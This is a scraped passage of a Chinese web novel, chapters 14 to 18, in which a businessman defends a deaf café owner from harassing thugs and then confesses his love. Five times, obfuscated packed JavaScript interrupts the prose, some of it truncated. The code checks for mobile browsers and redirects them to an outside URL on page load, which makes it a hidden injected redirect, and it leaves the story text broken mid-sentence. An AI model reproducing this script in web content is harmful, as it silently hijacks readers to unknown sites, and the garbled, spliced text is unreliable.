35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189180|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 骆恒皱了皱眉。 很难说清具体原因,但云川这一个字的回复,让骆恒觉得不太对劲。 他一翻身从沙发上坐起,两只手握着手机,挺认真地打字,询问火烧云这两天没有营业的原因。 手机都被他攥热了,烫得烧手。 骆恒抿了抿嘴,干脆把手机扔到茶几上。 只是,让手机离开自己的视线,也抵挡不住关心云川如何回复的小心情。 骆恒伸长手,每每在屏幕暗掉的瞬间又重新按亮。 反复了不知道多少次,终于等来了云川的回答。 只说是确实没开门,也没有讲到底是为什么。 又聊了几句之后,云川发了一个哭哭的表情。 骆恒看着这个哭泣的小云朵,没有再说什么。 他重新躺回沙发上,客厅的吊灯照得他两眼发酸。 他用手背盖着眼睛,那光却依然能撬开他的指缝,直往心里钻。 像是本该坚强的墙壁被一点一点撕开了小裂缝,随着某个契机的出现,结实的城堡轰然倒塌。 拨开那些掩盖住了视线的废墟和灰尘,骆恒慢慢拼凑出了一朵抱着膝盖哭泣的云。 第二天上班时,骆恒特意绕了弯,先拐去火烧云看了看。 云川今天终于营业了。 骆恒没进去,只远远看了一眼。 早上客人多,云川有些手忙脚乱的,但脸上还是和以往一样,挂着温柔又元气的笑脸。 骆恒撑着下巴看了一会儿,悄悄离开。 到公司后,他给云川发了一条消息:【老板,预订一杯美式,我中午过去】 云川也终于恢复了秒回:【好的哦![小云朵喝咖啡.jpg]】 14. 14 小云朵被欺负啦 十一点半的时候,骆恒已经无心工作了。他看着电脑上的文档,一句话反复读了好几遍都没看进心里。 中午火烧云的客人总是很多,骆恒想等晚一点人少些的时候再去。 不过…… 是真的在办公室坐不下去了。 时间刚跳到12点,骆恒便揣着车钥匙出了门。 在火烧云附近几座写字楼工作的白领也喜欢来这里吃午饭。云川虽然总说自己不会烧菜,可各种沙拉和简餐做得十分精致,很受大家喜欢。每到中午,小店面里都坐满了人。 骆恒不想去里面挤,况且,他来这里本来也不是为了吃饭,干脆在便利店买了两个面包,自己坐在车里啃,偶尔瞥一眼火烧云里客人还多不多。 两个面包很快下肚,骆恒独自一人坐在车里很有些无聊。 他撑着下巴,隔着一条马路看店里忙碌的老板。 距离太远了,骆恒看不清他的脸,只能模糊看个人影。 但这也并不妨碍云川出色的气质:皮肤很白,人瘦瘦的,身体被黑色的围裙围在里面,显得更加单薄;他听不到声音,过着比普通人更艰难的生活,却很少抱怨些什么,相反,他一直乐观地努力生活着,热爱着这个世界。 有什么可犹豫的呢?骆恒想,这样的人,不需要犹豫。 他熄了火,准备下车,一抬头却从后视镜里看见几个流里流气的中年男人,正朝着火烧云的方向走去——当然不是说不允许中年男人进店喝咖啡,只是…… 骆恒停下动作,坐在车里等了一会儿,直到确认那几人的目的地确实是云川的咖啡店,才拧着眉毛下了车,跟在那几人身后进了店。 * 总有那么些人脸上就写着“不是好人”或者“很不好惹”这种字眼。 那几人才刚走进火烧云,店里的气氛立刻冷了下来。 这里几乎都是些靠脑力工作的小白领,没几个人见过这种三四个膀大腰圆满脸横肉的男人一同出现的场景。 那几个人也确实带着一副找茬的态度,进门就嚷嚷上了:“哎,听说这条街上有个网红咖啡店,老板是个哑巴,是不是这间啊?” 店里的人你看看我,我看看你。大家都皱紧了眉毛,脸色不善地盯着这几个人。 云川愣了一下。 不是没经历过这种遭遇。小时候经常遇到同龄的、正常的小孩子说出这种话,不过长大之后,确实很少听到别人这样直白地说这种话了。 云川有一瞬间的尴尬,但很快又恢复了笑脸。他拍起吧台的小牌子,上面写着“老板不会说话,但可以看懂唇语”。 不过,对待一些明显是来找茬的人,温柔的善意并不见得有多大的用处,反而会让他们变本加厉。 那几个人在店里左右转转,最后回到吧台。倒是很老实地点了单,不过,云川背过身去取奶油的时候,这几个人用恶狠狠的眼神扫了一圈店里留下的顾客。 * 骆恒走进店里的时候,正遇上好几个匆匆离开的客人,几个女孩子嘟囔着抱怨“什么人啊,该不会是流氓吧”。 不过短短几分钟的工夫,店里的客人竟已走了一大半。 骆恒冷眼看着这几个男人,在收到对方递来的挑衅般的眼神后,他眯了眯眼睛。 云川在这时做好了几杯咖啡,他拍响了一个小按铃,提示那几个男人过来取。 他也看到了骆恒,挺惊喜地出了个气音——但他毕竟不会说话,这一声气音根本听不出来是个什么语气词。 为首的那个男人“哟”了一声:“说的是个什么词啊?我怎么听不懂呢!” 骆恒的脸色顿时变得难看,他朝那群人的方向走了两步—— 叮—— 吧台的小按铃又响了。 骆恒回头一看,云川一脸紧张地盯着他看。他比了个手势,示意骆恒过来,同时悄悄递出手机。 【别理他们啦,估计是随便找个地方发泄,也不常来,不用管。】云川写道,【做生意避免不了这些的,等他们走了就好啦。】 骆恒铁青着脸看完这几句话,老半天才松了眉头,轻轻点点头。 云川冲他笑笑,转身取出他点的冰美式。 隔了好几天才又重新见到云川的好心情被这几个流氓地痞搅得不剩什么,骆恒端起自己的咖啡,神色复杂地看了云川一眼。 这人没心没肺的,还冲他笑。 骆恒无奈,摇摇头,找了个角落坐着,顺便看这几个男人什么时候离开。 那几个人不知打的什么主意,吓唬走了店里的几位客人后,居然找了个地方安静坐着——虽然这大刀阔斧的坐姿看着依然辣眼睛。 一行人坐在一起,大声谈论着骆恒没听过的陌生名字。粗鲁的言行、粗鄙的举止,终于把店里剩下的为数不多的几位客人也都赶走了。 云川忙完了抬头一看,店内空空如也,只有那几个一看就不是善茬的男人,和角落脸色同样阴沉的骆恒。 云川不想去招惹那几个人,连连冲骆恒使眼色,让他也不要理那些人。 他悄悄给骆恒发消息:【你不要跟他们一般见识,也别理他们。这种人啊你越理他们,他们就越缠着你。不理他们,过一会儿他们就会觉得没意思,就会走啦。听我的,不管他们说什么都别去管,你先回去上班。】 骆恒慢慢读完了这段话,朝云川的方向看了一眼,那人正眼巴巴地看着他。 见他投来视线,云川笑了笑,还挥挥手里的手机,给他看自己手机背面的新贴纸。 不知道什么时候做的,是以前没见过的新表情,洁白的小云朵举着一颗超大的爱心,正在向外推出。 不过,这颗超大爱心的边边被截断了。 对这些可爱表情包一向不怎么敏感的骆恒忽然之间开了窍。他怀疑,这是一对情侣表情,另外一半一定是另一朵云朵被爱心砸得头晕目眩。 他还想说些什么,只是云川已经低头坐下,又开始画画了。 果然如之前所说,并不打算搭理店里那几个难缠的家伙,只把他们晾在一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189181|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是息事宁人,有些时候并不是解决问题的办法。 那群流氓里为首的流氓头子剃了一个光头,他朝身旁留着八字胡子的男人啧了一声,又用眼神点了点坐在吧台里专心画画的云川,笑容猥琐又淫邪。 “你还真没说错,这小男孩长得跟他妈还挺像。”光头一张嘴就是污言秽语,一口被烟渍浸黄的牙齿肮脏又恶心,“就是可惜了,怎么是个哑巴呢,要不然……” 光头比了个极其龌龊且不堪入目的动作,周围几个男人立刻发出了心领神会的嘿嘿笑声。 八字胡子说:“要不说秦铮那老小子有福气呢,媳妇漂亮儿子也能干。” 骆恒用余光扫了一眼吧台里的云川。 他还在低头画画,又乖巧又安静。不知道是不是为了躲避中午的阳光,他侧着身子坐在那里,太阳从他背后照过来,把发尾一抹头发映得金黄。 他听不到那些污言秽语,只专心继续做着自己的事。 另外那边光头和八字胡子还在继续说些下流话,仗着云川听不到,嘴里更无遮拦。 “就是可惜了,哥儿几个对男的都不感兴趣,不然真想……” 咚—— 骆恒手里的咖啡杯重重磕在桌面上,动静之大足以让咖啡店的每个角落都听到。 那几人齐齐回头看去。光头愣了一秒之后,抬抬下巴冲骆恒吹了声口哨。 “我就觉得你小子不对劲,怎么?以前有秦铮替那小婊.子出头,现在有你帮这小杂种出头了是不是?” 骆恒没理他,只轻蔑地从鼻子里出了个声。他用小拇指摩挲着玻璃杯瓶身上的小图案,起身去了吧台。 他挡住那几个人的视线,对云川说:“我回去上班了。” 云川乖巧地点点头。 “这个是什么?”骆恒指指他手机背面的贴纸,“我也要,把另一半给我。” 云川赶紧捂住手机藏进怀里,随手抓了一张纸来写字:【不行!这是我的新表情,第十弹!不能提前让你看。】 骆恒浅浅地笑了笑,说“好”——本来也只是想逗逗他。 说完这几句话之后,他冲云川摆摆手离开了。走出火烧云之后,还回头看了一眼,见云川还在看他的背影,他又招招手,看着云川重新低下头去画画,才忽地收起了笑容。 他神色淡薄地看着店里那几个人,看他们在云川看不见的角落比划着各种让人作呕的手势。 在确定云川的角度看不到他们之后,骆恒伸手,敲了敲火烧云的大门。 力度适中,既能让店内那几个人听到声音,又不会引起云川手环的振动。 在那几个人抬头看过来的时候,骆恒面无表情地勾了勾手指,示意他们都过来。 之后骆恒朝自己的卡宴走去。他一边走一边摘了自己的袖扣、手表,打开车门通通扔了进去。 身后传来了光头恶心的声音:“哎,叫哥儿几个来你车上干什么啊?我说——” 砰——! 骆恒回头,照着光头的鼻子就是一拳! 15. 15 小云朵吓坏了 从小到大,骆恒听到的对自己最多的评价,就是聪明且听话。 他按照父母规划的道路向前奔跑着,从来没有落在后面过。 他一直是同龄人里最成熟、最稳重、最让人省心的那一个。 每一步都脚踏实地、稳扎稳打。冲动这个词,从来不会出现在他的身上。 不过,今天闹了这么一场,骆恒居然有种难以言说的快意。 真心想做的事,冲动就冲动吧。 这场意外的闹剧,最终是在过路人群的尖叫和警车的轰鸣声中结束的。 那几个流氓看着不好惹,真动起手来全是外强中干,没挨几下就被骆恒揍得抱头叫爷爷。 不过就算再冲动,骆恒也没忘记事先想好后面的事情怎么处理。大约二十分钟后,天茂的法律顾问团队一头雾水地出现在警察局,满脸一言难尽。 那几个男人在当地警察那里都是老熟人了,整日游手好闲,就喜欢挑软柿子捏。大部分人不愿意招惹他们、怕找麻烦,时间长了,居然真成了地头蛇一样的人物。 今天这么轻易地被骆恒打了一顿,那几个人蹲在地上蔫头巴脑。但进出派出所多少次了,他们很会和警察装可怜,以为这次遇上的人也只是和以前一样,被批评教育一顿就能了事回家。 直到看见天茂的律师团队鱼贯而入,这才有点慌。 * 作为这个事情的事件中心,云川居然是被警察通知到的——因为骆恒说,云川听不到声音,你打电话给他也没用,于是……警察亲自上门,通知了云川。 把小老板吓坏了。 他慌张地听警察说完事件原委,急得眼泪差点掉下来。 火烧云开了两年多,真没碰上过这种事,更别提当事人之一还是骆恒。 去派出所的路上,云川脑补了一大堆,就怕再见到骆恒时就要唱铁窗泪,身边的警察小哥哥怎么安慰都不管用。 好在,真到了派出所,倒也没发生让云川害怕的事。骆恒坐在外面的小板凳上,有一搭没一搭地听律师批评;里面警察在训那几个流氓。 骆恒也没受伤,除了一向板正的白衬衫有点皱之外,没有什么和往常不同的地方。 云川噔噔噔冲过去,挤到几位律师中间,拉着骆恒上下看了看,急得甚至忘了他看不懂手语,比划得脸都红了。 骆恒的眼睛黏在他的指尖,随着他的动作上下乱跑。 就是这双手,上次在自己的手腕上画了一朵云。 也是这双手,泡出来的咖啡让自己喝过一次就念念不忘。 他走神走得太明显,着急的云川一个没忍住,锤着他的肩膀让他回神。 骆恒吓一跳,反应过来后低头笑笑。他抓住云川的手,带着笑意说:“云川老板,我看不懂啊。” 云川也是这时才反应过来。他懊恼地跺跺脚,又赶紧掏出手机,噼里啪啦打字。 骆恒的眼睛又黏在他托着手机的手指上,这双手勾得他心痒,像小猫爪踩奶一样踩在他的心上,以至于云川把手机递到眼前时,他都犹豫了两秒才去看上面写了什么。 看得出来云川是真的着急,字都打错了好几处。 【到底发生什么了?警察跟我说你在店门口跟别人打架!】 【是刚刚那几个人吗?你有没有受伤?他们说什么招惹到你了?】 【现在该怎么办?你会被抓起来吗?要赔钱吗?有没有……】 骆恒按住云川的手,制止了他那些越想越可怕的胡乱猜想,说:“没事的,不要太担心。” 他指指身边那几位律师,安抚似地说:“我们天茂的法律顾问,很专业的,他们会帮我解决。” 云川像是这时才注意到身边的几个人。他转过头去打量他们,脸上还带着惊魂未定的担忧。 为首的一位律师点了点头,脸上的微笑看上去十分令人心安,“这位就是火烧云的老板吗?好年轻。您放心吧,骆总这边的事情我们来处理。” 云川迟疑着点了点头。 等他在转回去的时候,这位律师收起微笑,凉凉地说:“我可不知道我们的工作还包括解决高管的私人问题!” 骆恒叹了口气,揽住云川的肩膀换了个方向,避开他的视线说:“大律师,行行好。” 他用手指指云川,又说:“他胆子小,你别吓他。” * 事情解决起来也没有那么困难。 天茂的法律顾问可不是吃素的,再加上,那几个男人在这个片区是出了名的爱惹事,没过太久,负责案件处理的警察领着几位律师走出来,说:“那今天就先这样,之后你们可能还得跑几趟,等我通知。” 几人正准备离开时,又有个小警察跑出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189182|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,那个,云川是吧?你留一下。” 云川听不到,又背对着他,自然不知道有人在叫自己。 骆恒拧眉看过去。比起冲动之下打了人可能会接受的处罚,他更担心这件事情会把云川牵扯进去。 他对那小警察说:“这事情跟他没有关系。” “我不是说这个事,”小警察说,“里面那个姓张的,就是那个留着八字胡子的男的,他有过前科,因为搞传销蹲过监狱。我记得云川他们家以前报过失踪人口,后来不知道为什么,反正没有下文了。今天看见他正好想起来这事,我想问问。” 骆恒和身边的几位律师面面相觑。 他知道云川家里的情况有点特殊。各种蛛丝马迹都能看出,云川和父亲感情很好,可事实上,云川一直和母亲相依为命。 不过,骆恒原先一直以为云川父亲去世了,完全没有往失踪的方向联想过。 这时,云川也发现身边的人不见了。 他又紧张起来:【怎么了?还有事吗?还不能回去吗?】 骆恒小跑两步走到他身边,说:“不是,是别的事……云川,你跟我来一下。” 他把刚刚那位警察说的话简单复述了一下,隐去关于失踪一事的情况,问道:“那几个流氓里有一个姓张的男人,留着两撇八字胡子,你认得他吗?” 云川想了想,说:【眼熟,但没有印象是在哪里见过。】 他以为警察还是在询问骆恒跟他们打架的事,自然要把对方那几个人的行为往更恶劣的方向说:【可能是听别人提起过,他们应该就是专门来找茬的,就是坏人!】 打字时又用力又认真,把手机递到骆恒面前时,还重重点了点头。 那位警察就在他们身旁,也看到了云川在手机上写的句子。他挠了挠头,有点疑惑地说:“难道是我记错了?应该不会吧,云这个姓氏这么罕见……” 他想了半天也没想出个所以然,最后只说:“我回去问问我师傅,这案子当年是他办的,具体细节还得让他回忆。今天就先这样,如果有后续我会联系你的。” 云川不明所以地点点头。 走出派出所后,骆恒又对律师说:“何律,刚刚那事情——我是说传销那个事情,你也帮忙留心着点,我老觉得……” 剩下的话不知该怎么说,他看看云川的背影,摇了摇头。 16. 16 吻 回去的路上他们分坐两辆车,律师们开一辆直接回律所,骆恒则带着云川坐上了自己的卡宴。 骆恒脑子里还在想着刚刚那位警察说的话,可云川并没有放在心上,他还是更关心骆恒有没有受伤。 只是从派出所回到火烧云的路程实在太短,云川还没来得及再仔细观察一下骆恒到底有没有伤到哪里,车子就已经停下了。 云川跳下车,慌里慌张拉起骆恒就往店里跑。 骆恒帮他拉起大门外的卷帘门,两人一起走了进去。 云川一边打字一边给他倒水泡咖啡,两只手忙得飞快。 【这条路尽头右拐有家药店,要不要买点碘伏或者创可贴?你真的没有受伤吗?】 骆恒心想,能看到的伤口应该是没有的,就是打人打得拳头有点疼这可以说吗…… 到底还是想在云川心里留下一点可靠的印象,骆恒摇摇头,也不想再让他继续忙活,说:“真的没事,你刚才都问了这么多遍了。” 说着,他把两只手摊开放在云川面前,“你自己看,真的没有事。” 云川放下手里的杯子,凑到骆恒面前看他的手。 确实没有皮外伤,只是手背的地方有一点点极轻微的红肿。 云川小心翼翼伸手碰了碰他的手背,莹白指尖还带着点冰咖啡的凉意,落在红肿发烫的地方,凉凉得很舒服。 骆恒低头看着那里,又觉得咖啡的香气顺着那双手钻进了自己心里。 【骆恒,到底是为什么呀?】云川把手机递过来,【他们到底说什么了,让你这么生气?】 骆恒没说话。 云川想了想,又低头打了几个字,【是不是他们说我什么了?又聋又哑之类的。】 骆恒看着这几个字,嘴巴动了动。 在他开口回答之前,云川又说:【我不在乎这些的,你不要放在心上。再说,他们说的也是事实……】 云川的字还没打完,手机就被骆恒抢走了,还很生硬地换了个话题:“哎,刚刚,就是在派出所的时候,你那一连串的手势都是什么意思啊?” 突然转换的话题让云川疑惑地歪歪头,愣了两秒钟才不好意思地笑笑,【当时太着急了,一下没反应过来。】 骆恒说:“想想也是,对你来说,肯定还是手语更方便一些,比打字方便多了吧?要不……” 骆恒两手向后撑在沙发背上,声音拉得长长的,“要不,你教教我?看你老这么打字,怪累的。” 云川慢半拍地反应过来骆恒这是在躲避他的话题。 【骆恒,你不要转移话题。】云川严肃地写道,【今天这个事情,万一你不是天茂的人,你找不到优秀的律师帮忙,那怎么办呀?那几个人不好惹的,招惹上他们,后续只会是无穷无尽的麻烦。如果他们真的说了什么惹到你、让你不高兴,你想出气也就算了。如果是因为他们说我什么聋什么哑的,就真的没必要。】 骆恒看着这段话,脸上的笑容逐渐消失。 他收回靠着沙发背的手臂,站直了身体。 他看向云川的表情很复杂。 如果想要掩饰的话,绝对是有办法的,骆恒能立刻想出十个借口、二十个借口,让刚刚发生的事情翻篇。 但他不想这样。不想隐藏,却又不知该不该承认。 骆恒稍微偏过头去避开云川的视线,又一次掰过了话题,他说:“云川,唇语怎么学呢?你会不会判断错误啊?是不是挺难的。” 如此生硬地换了一个话题,云川的表情越发疑惑。他看着骆恒,实在不明白骆恒今天为什么屡屡不肯正面回答他的问题。 他不知道骆恒心里在纠结什么,只单纯觉得自己给别人添了麻烦,他只是觉得,这个事情没有必要,以后最好也不要再发生。 他盯着骆恒看了一会儿,乌溜溜的圆眼睛里满满只剩骆恒一人。 过了好久,他才低下头去打字。这一次他打得很慢,像是每个字都考虑了很久。 他写道:【骆恒,你一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189183|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯正面回答我,我可以理解成是我猜对了吗?我想说的是,其实别人怎么形容我、怎么看我,对我来说都不重要,我早就习惯啦,你也不要在意……】 这一次,骆恒直接抓过他的手机,向后甩在沙发上。 云川看着那个银色的物体在沙发上弹了两弹掉进沙发缝,他眨眨眼睛,嘴巴都疑惑地张开了。 “你问的问题我不回答,是因为没打算告诉你。”骆恒放满了语速,确保云川能看清楚自己说的每一个字,“但既然你非要问,那让你知道也没关系。” 分明无法听到骆恒说话的语气,云川却不自觉地紧张起来。他吞了吞口水,眼神的落点悄悄离开对面的人。 只是没来得及躲开太远,就被骆恒抓回来了——那人的手掌扣在他的耳朵旁边,稍一用力按住他的头,让他再也无法躲避开。 “别人怎么形容你、怎么看你,你当然可以觉得不重要。可我不行,我不能觉得不重要,别人说的那些关于你的话语,我不能听了就过,不能当做没听到。”骆恒说,“我管不了所有人,但至少在我能看到的时候,任何人都不能议论你。” 云川张了张嘴,又发出一声像抽气一样的气音。手里空落落的,不能用手机写下自己想说的话,比划了几下又知道骆恒看不懂。 他有点着急,伸手握住骆恒的手腕,想让他放开自己。 不过…… 那双手依然冰冰凉凉的,不知道是不是因为成天泡在咖啡豆里,骆恒总觉得他身上也有咖啡豆烘焙后的香味。他用另一只手反握住云川,低头用嘴唇碰了碰那双手的手腕内侧。 也是这时他才发现,云川的手指有点红,想来是刚刚拉开卷帘门的时候留下的痕迹。 明明自己也是这么容易就被磨红手指的人,却一直关心骆恒有没有受伤。 骆恒稍稍用力,将那双手拉到自己的怀里。 之后,他在云川惊异的目光里靠了过去。 这一次的吻,终于落在了云川的嘴角。 17. 17 第二次拒绝 云川呆愣着看骆恒英俊的面容在自己面前放大,身体僵硬得不知如何是好。 嘴角落下了一个轻如羽毛的吻,骆恒并没有要深入的意思,也……没办法深入。 云川伸手,推开了他的胸膛,脸上还带着不知所措和惊慌。 骆恒并没有想过会和云川发生点什么,至少不该是现在——时间不对、地点也不对,骆恒甚至还没有想过如何表达那点隐秘的爱意。 他低头看着抵在自己胸前的那只手,手指上被卷帘门勒出的红痕还在,两道明显的痕迹压在云川的手指上。 他伸手摸了摸,又看到云川迟疑着躲开。 不过,骆恒不打算让云川再避开他之后想说的话。他用手背碰了碰云川的脸颊,让他无法移开视线。 “看着我,云川,看着我。” 云川抬头瞥了他一眼,又慌乱地移开,但大概还是想知道他想要说什么,飘忽的视线转了两圈,最终还是回到了骆恒脸上。 “不想告诉你为什么跟那几个人打架,因为我觉得这是我自己的事情,不管原因是什么,我都不想让你为这件事情困扰。但如果你非要知道,我也可以告诉你。” 即便知道云川听不到,骆恒还是忍不住放轻了声音,像是担心话语里的情意太重,会吓到云川。 “……我在意别人议论你,也听不得有人说你不好,哪怕这些话对你来说司空见惯。”骆恒继续轻声说道,“如果你一定要知道更深一点的原因——” 他又用手背碰碰云川的侧脸,那块皮肤细腻光滑,触感竟真的像软绵绵的云。他用拇指蹭了蹭云川的嘴角,像是在问云川,也像是在喃喃自语:“你明白这代表什么吗?” 云川拽住他的手,不让他再继续乱动。被拇指揩过的地方火辣辣的,明明刚刚的吻是轻若无物,现在的抚摸也是柔情满满,可是落在皮肤上,云川只觉得被触碰到的每一寸肌肤都像是被火烧过一样滚烫。 他没有骆恒力气大,怎么也掰不开那只手,只能呆立原地,看骆恒的气息再次向自己靠近。 直到他的鼻尖快要撞上自己的,才终于停下。 云川不敢抬头,手脚尴尬着不知该往哪里放,连呼吸都不敢用力。周身都是骆恒的气息,他的呼吸,他的手指,和说话时空气若有似无地流动。 骆恒又低下头,继续寻找着他的视线。 “我亲你,你明白这代表什么吗?” 他们挨得这么近,骆恒动动嘴唇就能再次亲上那双淡色的唇。 再往上一点,他又看到云川的鼻尖缀着一小滴汗珠。他伸手帮他擦掉—— 这下子,连鼻尖都红了。 一大片红晕从鼻尖迅速蔓延到耳朵,云川怯怯地往后退了一步,抵住骆恒的手也更用力了些。 骆恒没有再往前,他顺着云川的力度离开了些,过近的距离倏然拉开,暧昧的气氛却完全没有消散。 “你明白的,对吧。”骆恒一瞬不移地盯着云川,说道,“亲你就是喜欢你的意思,你明白吗?” 云川愣愣地看了他一会儿,然后咬着嘴唇低下了头。 他摸摸口袋,又想起手机被骆恒拿走了。他迷茫又手足无措地发着呆,心里乱糟糟的。 骆恒绕到沙发背后,伸手捡起手机递到云川手里。他短暂地触碰到了云川的手指,又看到那截指尖划过手机背面的那张卡通贴纸。 骆恒无奈地想,这个抱着巨大爱心的云朵,还是更像自己。 * 终于拿到了手机,云川却不知道该说些什么。 这个中午发生了太多事,他一时之间完全消化不了。 突如其来的吻,和骆恒的喜欢,哪一样都让云川无法招架。 他攥着手机,抬头看了看骆恒。 明明没有说什么,却又无疑给出了回应。 没想过能得到什么回应,可此时此刻,骆恒还是心生失落。 他故作轻松地揉了一把云川的头顶,说:“你……” 开了口,却不知道怎么说下文。想让他不要太在意,心里却过不去这个坎;想让他认真考虑,又不想让这件事成为他的负担。 自从认识云川之后,骆恒觉得自己好像总是这样优柔寡断、犹豫不决。 他不想再继续这样尴尬的沉默气氛,于是拍拍云川的肩膀,说:“行了,我想说的就是这些。说完了,我回去上班了。” 云川还是低着头,没说话。 挫败感一点一点涌上心里,骆恒开始后悔起刚刚的冲动。但说出来的话总不能收回去,该让云川知道的,也不可能永远瞒着他。 他抓起自己的公文包向火烧云的大门走去,一向意气风发的天茂骆总,爱意得不到回应时,也只是个垂头丧气的普通人。 不过还没走出几步,身后就传来了脚步声。 袖口被很小心地拉住,骆恒稍稍侧过头—— 云川递来了手机屏幕。 【骆恒,你说的喜欢,是我理解的那种喜欢吗?】 “还能是哪种喜欢呢?”骆恒无奈莞尔,“是希望身边一直有你、能随时看到你、一直跟你在一起的那种喜欢。” 云川浅浅地皱了眉,又低头按了几个字。 【如果是这样,那……我不想接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189184|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受,也不能接受。】 他明明是在拒绝自己,可他的表情又像是在难过,很真诚地难过着。骆恒看着屏幕上这冷冰冰的一行字,问道:“不想是什么意思,不能又是什么意思?” 云川慢吞吞地打着字:【算是同一个意思吧……骆恒,跟我谈恋爱,我只会成为你的负担,早晚有一天,你会受不了的。】 “为什么又再说这个?”骆恒的语气有点凶,“上次不是说过吗,你不会给我添麻烦。” 【不一样的。】云川摇摇头,【我相信你现在说的话,但有些事情,或许你是因为没有经历过,才会觉得没有那么困难。】 骆恒把视线移到云川的脸上。 他心里好像明白云川下面要说什么,想要阻止却没来得及。 云川很快把剩下的几行字打好给他看。 【几年前,我父亲说要出去工作,之后就再也没回来。这么多年过去了,也许他再也不会回来了。】云川坦然地写道,【我不愿意相信他是抛弃了我和妈妈,我相信他不是这样的人,但总有那么几个瞬间,我也会忍不住这么想。和我这样的人在一起生活,光是忍受着无穷无尽的安静,就已经很折磨人啦。】 骆恒按住他的手机,不想看他继续说些自暴自弃的话,“我不会这样,我不觉得是折磨。而且你也说了,不相信他是那样的人。” 不过这一次,云川挣开了他的手,还是继续写道:【总要找点理由说服自己呀,不然想到这些,心里肯定会难过的。】 骆恒无计可施。 他改变不了云川父亲离开的事实,也无法消灭这件事造成的影响。 他只能看着云川,用他听不到的坚定语气又重复了一遍:“我不会这样。” 而云川什么都没有回答。 * 那天中午就这样不欢而散。 骆恒离开之后,坐在店里发了会儿呆,过了好久才重新挂上正在营业的牌子。 那个下午他一直有点心不在焉,脑袋里不知在想些什么,客人点的咖啡都做错了好几杯。 下午六点的时候,云芸那边准时传来了位置共享。 恰巧这时有新客人进店,手环连着振了好几下,云川吓了一跳。 手一抖,一整杯浓缩咖啡全倒在手上。 云川这个手环功能很丰富,唯一的缺点在于,不防水。 他慌乱地摘下手环,草草擦拭过放在一旁,先去给新来的客人泡好咖啡。 等他再重新拿起手环的时候,云芸又发来一条消息,而这一次,手环安安静静,什么反应都没有。 好像是坏了。 18. 18 手环坏了 云川紧张地摆弄着手环。 这个手环陪伴了他许多年,一直没有坏过。他也非常在意它,连充电都很小心。带了这么多年,除了电池有点老化外,这只手环再没有出过任何毛病。 只是现在…… 手环开不了机,电源指示灯没有半点反应,关联的手机、咖啡店大门的反应也没有引起手环的任何响应。 云川坐在店里,心下一片茫然。 他坐在吧台里,眼睛一眨不眨地盯着大门口,生怕错过客人的进出。 手环和大门的连接,不久前才被骆恒修好。在那之前,自己明明已经习惯了时刻盯着大门观察客人来来往往的生活…… 云川沮丧地趴在桌上,心里干巴巴的。 都说由奢入俭难,原来是真的。 紧张又迷茫地度过了没有手环的三个小时,九点时云川闭了店,收拾好东西慢吞吞回了家。 云芸不在的这几天里,一个人的生活简单但枯燥。虽说她在的时候两人也只能无声地交流,可她出门时云川才发现,原来早已习惯了的安静生活,也会突然变得难以忍受。 回到家里后云川翻出了手环的说明书,仔细阅读后发现,生产厂商对于手环进水后的解决办法只有简单的一句话:建议送往维修中心维修。 他沮丧地坐在沙发上,犹豫着明天要不要闭店一天去修手环。 * 修手环,听上去简简单单的三个字,让云川一个人去完成可没有那么简单。 或许是太过依赖手环,在感受不到左腕时不时传来的振动之后,云川心里只剩下满满的惊慌和无措。 